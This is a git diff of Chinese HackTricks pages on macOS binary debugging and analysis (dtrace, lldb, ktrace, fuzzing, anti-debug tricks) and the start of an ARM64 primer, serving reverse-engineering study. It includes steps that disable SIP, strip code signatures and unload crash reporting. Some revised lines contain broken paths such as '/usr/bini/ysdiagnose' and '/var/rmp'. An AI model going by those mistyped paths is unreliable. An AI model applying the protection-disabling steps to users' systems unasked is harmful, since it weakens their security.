由于它已经过时且未得到维护,所以可能无法正常工作。
|
||||
由于它已经过时且未维护,所以可能无法正常工作。
|
||||
|
||||
#### ICDump
|
||||
|
||||
[**iCDump**](https://github.com/romainthomas/iCDump) 是一款现代跨平台的 Objective-C 类转储工具。与现有工具相比,iCDump 可独立于 Apple 生态系统运行,并提供 Python 绑定。
|
||||
[**iCDump**](https://github.com/romainthomas/iCDump) 是一个现代的跨平台 Objective-C 类转储工具。与现有工具相比,iCDump 可以独立于 Apple 生态系统运行,并提供 Python 绑定。
|
||||
```python
|
||||
import icdump
|
||||
metadata = icdump.objc.parse("/path/to/bin")
|
||||
|
@ -224,7 +225,7 @@ Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
|
|||
```
|
||||
您可以在[**此博客文章中找到有关这些部分存储的信息**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html)。
|
||||
|
||||
此外,**Swift 二进制文件可能具有符号**(例如库需要存储符号以便调用其函数)。**这些符号通常以一种难以理解的方式包含有关函数名称和属性的信息,因此它们非常有用,而且有**“解码器”**可以获取原始名称:
|
||||
此外,**Swift 二进制文件可能具有符号**(例如库需要存储符号以便调用其函数)。**符号通常以一种难看的方式包含有关函数名称和属性的信息,因此它们非常有用,而且有**“解构器”**可以获取原始名称:
|
||||
```bash
|
||||
# Ghidra plugin
|
||||
https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py
|
||||
|
@ -235,7 +236,7 @@ swift demangle
|
|||
## 动态分析
|
||||
|
||||
{% hint style="warning" %}
|
||||
请注意,为了调试二进制文件,**需要禁用 SIP** (`csrutil disable` 或 `csrutil enable --without debug`),或将二进制文件复制到临时文件夹并使用 `codesign --remove-signature <binary-path>` 去除签名,或允许对二进制文件进行调试(可以使用[此脚本](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b))。
|
||||
请注意,为了调试二进制文件,**必须禁用 SIP** (`csrutil disable` 或 `csrutil enable --without debug`),或将二进制文件复制到临时文件夹并使用 `codesign --remove-signature <binary-path>` 去除签名,或允许对二进制文件进行调试(可以使用[此脚本](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b))。
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
|
@ -244,32 +245,32 @@ swift demangle
|
|||
|
||||
### APIs
|
||||
|
||||
macOS 提供了一些有关进程信息的有趣的 API:
|
||||
macOS 提供了一些有趣的 API,可提供有关进程的信息:
|
||||
|
||||
* `proc_info`:这是主要的 API,提供有关每个进程的大量信息。您需要是 root 用户才能获取其他进程的信息,但不需要特殊的授权或 mach 端口。
|
||||
* `libsysmon.dylib`:它允许通过 XPC 公开的函数获取有关进程的信息,但需要具有 `com.apple.sysmond.client` 授权。
|
||||
|
||||
### Stackshot 和 microstackshots
|
||||
|
||||
**Stackshotting** 是一种用于捕获进程状态的技术,包括所有运行线程的调用堆栈。这对于调试、性能分析和了解系统在特定时间点的行为特别有用。在 iOS 和 macOS 上,可以使用多种工具和方法(如工具 **`sample`** 和 **`spindump`**)执行 stackshotting。
|
||||
**Stackshotting** 是一种用于捕获进程状态的技术,包括所有运行线程的调用堆栈。这对于调试、性能分析和了解系统在特定时间点的行为非常有用。在 iOS 和 macOS 上,可以使用多种工具和方法(如工具 **`sample`** 和 **`spindump`**)执行 stackshotting。
|
||||
|
||||
### Sysdiagnose
|
||||
|
||||
这个工具(`/usr/bin/sysdiagnose`)基本上从您的计算机收集大量信息,执行诸如 `ps`、`zprint` 等十几个不同的命令。
|
||||
这个工具(`/usr/bini/ysdiagnose`)基本上会从您的计算机收集大量信息,执行诸如 `ps`、`zprint` 等十几个不同的命令。
|
||||
|
||||
它必须以 **root** 用户身份运行,守护进程 `/usr/libexec/sysdiagnosed` 具有非常有趣的授权,如 `com.apple.system-task-ports` 和 `get-task-allow`。
|
||||
必须以 **root** 用户身份运行,并且守护进程 `/usr/libexec/sysdiagnosed` 具有非常有趣的授权,如 `com.apple.system-task-ports` 和 `get-task-allow`。
|
||||
|
||||
其 plist 文件位于 `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist`,声明了 3 个 MachServices:
|
||||
|
||||
* `com.apple.sysdiagnose.CacheDelete`:删除 /var/tmp 中的旧存档
|
||||
* `com.apple.sysdiagnose.CacheDelete`:删除 /var/rmp 中的旧存档
|
||||
* `com.apple.sysdiagnose.kernel.ipc`:特殊端口 23(内核)
|
||||
* `com.apple.sysdiagnose.service.xpc`:通过 `Libsysdiagnose` Obj-C 类的用户模式接口。可以传递三个字典参数(`compress`、`display`、`run`)
|
||||
* `com.apple.sysdiagnose.service.xpc`:通过 `Libsysdiagnose` Obj-C 类进行用户模式接口。可以传递三个参数的字典(`compress`、`display`、`run`)
|
||||
|
||||
### 统一日志
|
||||
|
||||
MacOS 生成了大量日志,当运行应用程序并尝试了解其**操作**时,这些日志可能非常有用。
|
||||
MacOS 生成了大量日志,当运行应用程序并尝试了解其**操作**时,这些日志非常有用。
|
||||
|
||||
此外,有些日志将包含标签 `<private>` 以**隐藏**一些**用户**或**计算机**的**可识别**信息。但是,可以**安装证书来披露这些信息**。请参考[**此处**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log)的说明。
|
||||
此外,有些日志将包含标签 `<private>` 以**隐藏**一些**用户**或**计算机**的**可识别**信息。但是,可以**安装证书来披露这些信息**。请参考[**此处**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log)中的说明。
|
||||
|
||||
### Hopper
|
||||
|
||||
|
@ -291,18 +292,18 @@ MacOS 生成了大量日志,当运行应用程序并尝试了解其**操作**
|
|||
|
||||
#### 右侧面板
|
||||
|
||||
在右侧面板中,您可以查看一些有趣的信息,如**导航历史记录**(以便了解如何到达当前情况)、**调用图**(您可以看到所有**调用此函数的函数**和所有**此函数调用的函数**)以及**本地变量**信息。
|
||||
在右侧面板中,您可以查看一些有趣的信息,如**导航历史记录**(以便了解如何到达当前情况)、**调用图**(您可以看到所有**调用此函数的函数**以及**此函数调用的所有函数**)和**本地变量**信息。
|
||||
|
||||
### dtrace
|
||||
|
||||
它允许用户以极其**低级别**访问应用程序,并为用户提供了一种**跟踪** **程序**甚至更改其执行流的方法。Dtrace 使用**探针**,这些探针**分布在内核各处**,位于系统调用的开始和结束等位置。
|
||||
它允许用户以极其**低级别**访问应用程序,并为用户提供了一种**跟踪** **程序** 甚至更改其执行流的方法。Dtrace 使用**探针**,这些探针**分布在内核的各个位置**,如系统调用的开始和结束。
|
||||
|
||||
DTrace 使用 **`dtrace_probe_create`** 函数为每个系统调用创建一个探针。这些探针可以在**每个系统调用的入口和出口点触发**。与 DTrace 的交互通过 /dev/dtrace 进行,该设备仅供 root 用户使用。
|
||||
|
||||
{% hint style="success" %}
|
||||
要在不完全禁用 SIP 保护的情况下启用 Dtrace,您可以在恢复模式下执行:`csrutil enable --without dtrace`
|
||||
|
||||
您还可以**`dtrace`** 或**`dtruss`** 您已编译的二进制文件。
|
||||
您还可以**`dtrace`** 或 **`dtruss`** 您已编译的二进制文件。
|
||||
{% endhint %}
|
||||
|
||||
可以使用以下命令获取 dtrace 的可用探针:
|
||||
|
@ -315,11 +316,11 @@ ID PROVIDER MODULE FUNCTION NAME
|
|||
43 profile profile-97
|
||||
44 profile profile-199
|
||||
```
|
||||
探针名称由四个部分组成:提供者、模块、函数和名称(`fbt:mach_kernel:ptrace:entry`)。如果您未指定名称的某些部分,Dtrace 将将该部分视为通配符。
|
||||
探针名称由四个部分组成:提供者、模块、函数和名称(`fbt:mach_kernel:ptrace:entry`)。如果未指定名称的某些部分,Dtrace 将将该部分视为通配符。
|
||||
|
||||
要配置 DTrace 以激活探针并指定它们触发时要执行的操作,我们需要使用 D 语言。
|
||||
|
||||
可以在[https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html)中找到更详细的解释和更多示例。
|
||||
更详细的解释和更多示例可在[https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html)找到
|
||||
|
||||
#### 示例
|
||||
|
||||
|
@ -399,7 +400,7 @@ dtruss -c -p 1000 #get syscalls of PID 1000
|
|||
|
||||
`ktrace_*` API 来自 `libktrace.dylib`,它们封装了 `Kdebug` 的 API。然后,客户端只需调用 `ktrace_session_create` 和 `ktrace_events_[single/class]` 来设置特定代码的回调,然后使用 `ktrace_start` 启动它。
|
||||
|
||||
即使 **SIP 已激活**,也可以使用此工具。
|
||||
即使 **SIP activated**,也可以使用这个工具。
|
||||
|
||||
您可以使用实用程序 `ktrace` 作为客户端:
|
||||
```bash
|
||||
|
@ -411,15 +412,15 @@ ktrace trace -s -S -t c -c ls | grep "ls("
|
|||
|
||||
这用于进行内核级别的分析,使用`Kdebug`调用构建。
|
||||
|
||||
基本上,会检查全局变量`kernel_debug_active`,如果设置了就调用`kperf_kdebug_handler`,传入`Kdebug`代码和调用内核帧的地址。如果`Kdebug`代码匹配所选代码之一,则获取配置为位图的“actions”(请查看`osfmk/kperf/action.h`以获取选项)。
|
||||
基本上,会检查全局变量`kernel_debug_active`,如果设置了,就会调用`kperf_kdebug_handler`,传入`Kdebug`代码和调用内核帧的地址。如果`Kdebug`代码匹配所选代码之一,则会获取配置为位图的“操作”(请查看`osfmk/kperf/action.h`以获取选项)。
|
||||
|
||||
Kperf还有一个sysctl MIB表:(作为root)`sysctl kperf`。这些代码可以在`osfmk/kperf/kperfbsd.c`中找到。
|
||||
|
||||
此外,Kperf的功能的一个子集位于`kpc`中,提供有关机器性能计数器的信息。
|
||||
此外,Kperf功能的一个子集驻留在`kpc`中,提供有关机器性能计数器的信息。
|
||||
|
||||
### ProcessMonitor
|
||||
|
||||
[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor) 是一个非常有用的工具,用于检查进程执行的与进程相关的操作(例如,监视进程创建的新进程)。
|
||||
[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor) 是一个非常有用的工具,用于检查进程执行的相关操作(例如,监视进程创建的新进程)。
|
||||
|
||||
### SpriteTree
|
||||
|
||||
|
@ -434,11 +435,11 @@ Kperf还有一个sysctl MIB表:(作为root)`sysctl kperf`。这些代码
|
|||
|
||||
### Crescendo
|
||||
|
||||
[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) 是一个具有类似于微软Sysinternal的_Procmon_的外观和感觉的GUI工具。该工具允许启动和停止对各种事件类型的记录,允许通过文件、进程、网络等类别对这些事件进行过滤,并提供将记录的事件保存为json格式的功能。
|
||||
[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) 是一个具有类似于微软Sysinternal的_Procmon_的外观和感觉的GUI工具。该工具允许启动和停止各种事件类型的记录,允许按文件、进程、网络等类别对这些事件进行过滤,并提供将记录的事件保存为json格式的功能。
|
||||
|
||||
### Apple Instruments
|
||||
|
||||
[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html) 是Xcode的开发人员工具的一部分,用于监视应用程序性能,识别内存泄漏并跟踪文件系统活动。
|
||||
[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html) 是Xcode的开发人员工具的一部分,用于监视应用程序性能,识别内存泄漏和跟踪文件系统活动。
|
||||
|
||||
![](<../../../.gitbook/assets/image (1138).png>)
|
||||
|
||||
|
@ -451,12 +452,12 @@ fs_usage -w -f network curl #This tracks network actions
|
|||
```
|
||||
### TaskExplorer
|
||||
|
||||
[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html) 对于查看二进制文件使用的**库**、它正在使用的**文件**以及**网络**连接非常有用。\
|
||||
[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html) 对于查看二进制文件使用的**库**,它正在使用的**文件**以及**网络**连接非常有用。\
|
||||
它还会针对**virustotal**检查二进制进程,并显示有关二进制文件的信息。
|
||||
|
||||
## PT\_DENY\_ATTACH <a href="#page-title" id="page-title"></a>
|
||||
|
||||
在[**这篇博文**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html)中,您可以找到一个示例,说明如何**调试正在运行的守护程序**,该程序使用**`PT_DENY_ATTACH`**来防止调试,即使 SIP 已禁用。
|
||||
在[**这篇博文**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html)中,您可以找到一个示例,说明如何**调试正在运行的守护程序**,该守护程序使用**`PT_DENY_ATTACH`**来防止调试,即使SIP已禁用。
|
||||
|
||||
### lldb
|
||||
|
||||
|
@ -467,7 +468,7 @@ lldb -p 1122
|
|||
lldb -n malware.bin
|
||||
lldb -n malware.bin --waitfor
|
||||
```
|
||||
您可以在家目录中创建一个名为**`.lldbinit`**的文件,并添加以下行以设置使用lldb时的intel风格:
|
||||
您可以在家目录下创建一个名为**`.lldbinit`**的文件,并添加以下行以设置使用lldb时的intel风格:
|
||||
```bash
|
||||
settings set target.x86-disassembly-flavor intel
|
||||
```
|
||||
|
@ -475,7 +476,7 @@ settings set target.x86-disassembly-flavor intel
|
|||
在 lldb 中,使用 `process save-core` 命令来转储一个进程
|
||||
{% endhint %}
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) 命令</strong></td><td><strong>描述</strong></td></tr><tr><td><strong>run (r)</strong></td><td>开始执行,直到触发断点或进程终止。</td></tr><tr><td><strong>continue (c)</strong></td><td>继续调试进程的执行。</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>执行下一条指令。该命令会跳过函数调用。</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>执行下一条指令。与 nexti 命令不同,该命令会进入函数调用。</td></tr><tr><td><strong>finish (f)</strong></td><td>执行当前函数中剩余的指令,返回并停止。</td></tr><tr><td><strong>control + c</strong></td><td>暂停执行。如果进程已经运行(r)或继续(c),这会导致进程停止在当前执行位置。</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p>b main #调用 main 函数</p><p>b <binname>`main #bin 的主函数</p><p>b set -n main --shlib <lib_name> #指定 bin 的主函数</p><p>b -[NSDictionary objectForKey:]</p><p>b -a 0x0000000100004bd9</p><p>br l #断点列表</p><p>br e/dis <num> #启用/禁用断点</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #获取断点命令的帮助</p><p>help memory write #获取写入内存的帮助</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <a href="https://lldb.llvm.org/use/variable.html#type-format">format</a></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/memory address></strong></td><td>将内存显示为以空字符结尾的字符串。</td></tr><tr><td><strong>x/i <reg/memory address></strong></td><td>将内存显示为汇编指令。</td></tr><tr><td><strong>x/b <reg/memory address></strong></td><td>将内存显示为字节。</td></tr><tr><td><strong>print object (po)</strong></td><td><p>这将打印参数引用的对象</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>请注意,大多数 Apple 的 Objective-C API 或方法返回对象,因此应通过“print object”(po)命令显示。如果 po 不产生有意义的输出,请使用 <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #在该地址写入 AAAA<br>memory write -f s $rip+0x11f+7 "AAAA" #在地址写入 AAAA</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #反汇编当前函数</p><p>dis -n <funcname> #反汇编函数</p><p>dis -n <funcname> -b <basename> #反汇编函数</p><p>dis -c 6 #反汇编 6 行</p><p>dis -c 0x100003764 -e 0x100003768 # 从一个地址到另一个地址</p><p>dis -p -c 4 # 从当前地址开始反汇编</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # 检查 x1 寄存器中的 3 个组件的数组</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) 命令</strong></td><td><strong>描述</strong></td></tr><tr><td><strong>run (r)</strong></td><td>开始执行,直到触发断点或进程终止。</td></tr><tr><td><strong>continue (c)</strong></td><td>继续调试进程的执行。</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>执行下一条指令。该命令会跳过函数调用。</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>执行下一条指令。与 nexti 命令不同,该命令会进入函数调用。</td></tr><tr><td><strong>finish (f)</strong></td><td>执行当前函数中剩余的指令,返回并停止。</td></tr><tr><td><strong>control + c</strong></td><td>暂停执行。如果进程已经运行(r)或继续(c),这会导致进程停止在当前执行位置。</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p>b main #调用名为 main 的任何函数</p><p>b <binname>`main #二进制文件的主函数</p><p>b set -n main --shlib <lib_name> #指定二进制文件的主函数</p><p>b -[NSDictionary objectForKey:]</p><p>b -a 0x0000000100004bd9</p><p>br l #断点列表</p><p>br e/dis <num> #启用/禁用断点</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #获取断点命令的帮助</p><p>help memory write #获取写入内存的帮助</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <a href="https://lldb.llvm.org/use/variable.html#type-format">format</a></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/memory address></strong></td><td>将内存显示为以空字符结尾的字符串。</td></tr><tr><td><strong>x/i <reg/memory address></strong></td><td>将内存显示为汇编指令。</td></tr><tr><td><strong>x/b <reg/memory address></strong></td><td>将内存显示为字节。</td></tr><tr><td><strong>print object (po)</strong></td><td><p>这将打印参数引用的对象</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>请注意,大多数 Apple 的 Objective-C API 或方法返回对象,因此应通过“print object”(po)命令显示。如果 po 不产生有意义的输出,请使用 <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #在该地址写入 AAAA<br>memory write -f s $rip+0x11f+7 "AAAA" #在地址写入 AAAA</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #反汇编当前函数</p><p>dis -n <funcname> #反汇编函数</p><p>dis -n <funcname> -b <basename> #反汇编函数</p><p>dis -c 6 #反汇编 6 行</p><p>dis -c 0x100003764 -e 0x100003768 # 从一个地址到另一个地址</p><p>dis -p -c 4 # 从当前地址开始反汇编</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # 检查 x1 寄存器中的 3 个组件的数组</td></tr></tbody></table>
|
||||
|
||||
{% hint style="info" %}
|
||||
在调用 **`objc_sendMsg`** 函数时,**rsi** 寄存器保存方法的名称,作为以空字符结尾的(“C”)字符串。要通过 lldb 打印名称,执行以下命令:
|
||||
|
@ -490,17 +491,17 @@ settings set target.x86-disassembly-flavor intel
|
|||
|
||||
### 反动态分析
|
||||
|
||||
#### VM 检测
|
||||
#### 虚拟机检测
|
||||
|
||||
* 命令 **`sysctl hw.model`** 在 **主机为 MacOS** 时返回 "Mac",但在虚拟机上返回其他内容。
|
||||
* 一些恶意软件尝试通过调整 **`hw.logicalcpu`** 和 **`hw.physicalcpu`** 的值来检测是否为虚拟机。
|
||||
* 一些恶意软件还可以根据 MAC 地址(00:50:56)来判断主机是否为 VMware。
|
||||
* 也可以通过简单的代码来判断进程是否正在被调试:
|
||||
* 一些恶意软件还可以根据 MAC 地址(00:50:56)来**检测**主机是否为 **VMware**。
|
||||
* 也可以通过简单的代码来检查进程是否正在被调试:
|
||||
* `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //process being debugged }`
|
||||
* 还可以使用 **`ptrace`** 系统调用以 **`PT_DENY_ATTACH`** 标志调用。这会阻止调试器附加和跟踪。
|
||||
* 可以检查是否正在 **导入 sysctl** 或 **ptrace** 函数(但恶意软件可能会动态导入)。
|
||||
* 还可以使用 **`ptrace`** 系统调用以 **`PT_DENY_ATTACH`** 标志调用。这会**阻止**调试器附加和跟踪。
|
||||
* 可以检查是否**导入了** **`sysctl`** 或 **`ptrace`** 函数(但恶意软件可能会动态导入)。
|
||||
* 如在此文中所述,“[击败反调试技术:macOS ptrace 变种](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)”:\
|
||||
“_消息“进程 # 以状态 = 45 (0x0000002d) 退出”通常是调试目标正在使用 **PT\_DENY\_ATTACH** 的明显迹象_”
|
||||
“_消息“进程 # 退出,状态 = 45(0x0000002d)”通常是调试目标正在使用 **PT\_DENY\_ATTACH** 的明显迹象_”
|
||||
## Core Dumps
|
||||
|
||||
核心转储在以下情况下创建:
|
||||
|
@ -519,7 +520,7 @@ ReportCrash **分析崩溃进程并将崩溃报告保存到磁盘**。崩溃报
|
|||
对于在**每个用户 launchd 上下文中运行的应用程序和其他进程**,ReportCrash 作为 LaunchAgent 运行,并将崩溃报告保存在用户的 `~/Library/Logs/DiagnosticReports/` 中。\
|
||||
对于守护程序、在**系统 launchd 上下文中运行的其他进程**和其他特权进程,ReportCrash 作为 LaunchDaemon 运行,并将崩溃报告保存在系统的 `/Library/Logs/DiagnosticReports` 中。
|
||||
|
||||
如果您担心**崩溃报告被发送到 Apple**,您可以禁用它们。如果不担心,崩溃报告可以有助于**找出服务器崩溃的原因**。
|
||||
如果您担心崩溃报告**被发送到 Apple**,您可以禁用它们。如果不禁用,崩溃报告可以有助于**找出服务器崩溃的原因**。
|
||||
```bash
|
||||
#To disable crash reporting:
|
||||
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
|
||||
|
@ -585,7 +586,7 @@ lldb -o "target create `which some-binary`" -o "settings set target.env-vars DYL
|
|||
|
||||
#### [Litefuzz](https://github.com/sec-tools/litefuzz)
|
||||
|
||||
它可以与 macOS GUI 工具一起 "**just works"**。请注意,一些 macOS 应用程序具有一些特定要求,如唯一文件名、正确的扩展名,需要从沙盒中读取文件 (`~/Library/Containers/com.apple.Safari/Data`)...
|
||||
它可以与 macOS GUI 工具 "**just works"**。请注意,一些 macOS 应用程序具有一些特定要求,如唯一文件名、正确的扩展名,需要从沙盒 (`~/Library/Containers/com.apple.Safari/Data`) 读取文件...
|
||||
|
||||
一些示例:
|
||||
|
||||
|
@ -633,7 +634,7 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 提供支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到 **窃取恶意软件** 的 **侵害**。
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
|
||||
|
||||
|
@ -641,16 +642,17 @@ WhiteIntel 的主要目标是打击由信息窃取恶意软件导致的账户劫
|
|||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFT**](https://opensea.io/collection/the-peass-family) 收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# ARM64v8简介
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **异常级别 - EL(ARM64v8)**
|
||||
|
||||
在ARMv8架构中,执行级别称为异常级别(ELs),定义了执行环境的特权级别和功能。有四个异常级别,从EL0到EL3,每个都有不同的用途:
|
||||
在ARMv8架构中,执行级别称为异常级别(ELs),定义了执行环境的特权级别和功能。有四个异常级别,从EL0到EL3,每个都有不同的目的:
|
||||
|
||||
1. **EL0 - 用户模式**:
|
||||
* 这是最低特权级别,用于执行常规应用程序代码。
|
||||
|
@ -35,45 +36,45 @@
|
|||
|
||||
## **寄存器(ARM64v8)**
|
||||
|
||||
ARM64有**31个通用寄存器**,标记为`x0`到`x30`。每个寄存器可以存储**64位**(8字节)的值。对于需要仅使用32位值的操作,可以使用相同的寄存器以32位模式访问,名称为w0到w30。
|
||||
ARM64有**31个通用寄存器**,标记为`x0`到`x30`。每个寄存器可以存储一个**64位**(8字节)值。对于需要仅使用32位值的操作,可以使用名称w0到w30以32位模式访问相同的寄存器。
|
||||
|
||||
1. **`x0`** 到 **`x7`** - 这些通常用作临时寄存器和传递给子例程的参数。
|
||||
* **`x0`** 还携带函数的返回数据
|
||||
1. **`x0`**到**`x7`** - 这些通常用作临时寄存器和用于向子例程传递参数。
|
||||
* **`x0`**还携带函数的返回数据
|
||||
2. **`x8`** - 在Linux内核中,`x8`用作`svc`指令的系统调用号。**在macOS中使用x16!**
|
||||
3. **`x9`** 到 **`x15`** - 更多临时寄存器,通常用于局部变量。
|
||||
4. **`x16`** 和 **`x17`** - **函数内调用寄存器**。用于立即值的临时寄存器。它们还用于间接函数调用和PLT(过程链接表)存根。
|
||||
* **`x16`** 在**macOS**中用作**`svc`**指令的**系统调用号**。
|
||||
